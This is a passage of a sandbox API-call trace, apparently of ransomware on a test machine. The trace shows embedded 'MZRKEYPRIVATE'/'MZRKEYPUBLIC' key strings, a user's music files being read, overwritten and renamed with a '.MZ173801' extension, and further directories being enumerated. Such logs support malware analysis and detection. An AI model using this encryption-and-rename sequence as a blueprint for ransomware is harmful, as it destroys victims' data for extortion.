t8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.155] GetCurrentThreadId () returned 0xab4 [0159.155] GetCurrentThreadId () returned 0xab4 [0159.155] GetCurrentThreadId () returned 0xab4 [0159.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.156] GetCurrentThreadId () returned 0xab4 [0159.156] GetCurrentThreadId () returned 0xab4 [0159.156] GetCurrentThreadId () returned 0xab4 [0159.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.156] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.156] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.165] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x8841 [0159.165] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.165] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x8841, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x8841, lpOverlapped=0x0) returned 1 [0159.167] CloseHandle (hObject=0x2f8) returned 1 [0159.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.169] WriteFile (in: hFile=0x2f8, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x8841, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19f758*=0x8841, lpOverlapped=0x0) returned 1 [0159.170] CloseHandle (hObject=0x2f8) returned 1 [0159.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a.mz173801")) returned 1 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] GetCurrentThreadId () returned 0xab4 [0164.157] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b11dae0, ftCreationTime.dwHighDateTime=0x1d5e952, ftLastAccessTime.dwLowDateTime=0x19ebc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e63a, ftLastWriteTime.dwLowDateTime=0x19ebc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e63a, nFileSizeHigh=0x0, nFileSizeLow=0x8841, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TRIU.m4a", cAlternateFileName="")) returned 0 [0164.157] GetLastError () returned 0x12 [0164.157] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0164.157] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0x8905295a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8905295a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0164.157] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0164.157] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.157] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0x8905295a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8905295a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0164.157] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0164.157] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.157] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259fe0d0, ftCreationTime.dwHighDateTime=0x1d5e64e, ftLastAccessTime.dwLowDateTime=0x673fe920, ftLastAccessTime.dwHighDateTime=0x1d5e1f0, ftLastWriteTime.dwLowDateTime=0x89004582, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9eea, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="QaCMXvblUaYWg.mp3.MZ173801", cAlternateFileName="QACMXV~1.MZ1")) returned 1 [0164.158] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0164.158] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.158] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b11dae0, ftCreationTime.dwHighDateTime=0x1d5e952, ftLastAccessTime.dwLowDateTime=0x19ebc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e63a, ftLastWriteTime.dwLowDateTime=0x8905295a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8841, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TRIU.m4a.MZ173801", cAlternateFileName="TRIUM4~1.MZ1")) returned 1 [0164.158] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0164.158] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.158] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b11dae0, ftCreationTime.dwHighDateTime=0x1d5e952, ftLastAccessTime.dwLowDateTime=0x19ebc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e63a, ftLastWriteTime.dwLowDateTime=0x8905295a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8841, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TRIU.m4a.MZ173801", cAlternateFileName="TRIUM4~1.MZ1")) returned 0 [0164.158] GetLastError () returned 0x12 [0164.158] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0164.158] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8378750, ftCreationTime.dwHighDateTime=0x1d5edbc, ftLastAccessTime.dwLowDateTime=0x9ad80900, ftLastAccessTime.dwHighDateTime=0x1d5e49f, ftLastWriteTime.dwLowDateTime=0x88aa706e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b64, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UEnT80em6X.mp3.MZ173801", cAlternateFileName="UENT80~1.MZ1")) returned 1 [0164.158] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.158] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.158] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VM_WvGMt7", cAlternateFileName="VM_WVG~1")) returned 1 [0164.158] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.158] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.158] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\VM_WvGMt7\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0164.164] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0164.164] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 0 [0164.164] GetLastError () returned 0x12 [0164.165] FindClose (in: hFindFile=0xa1b738 | 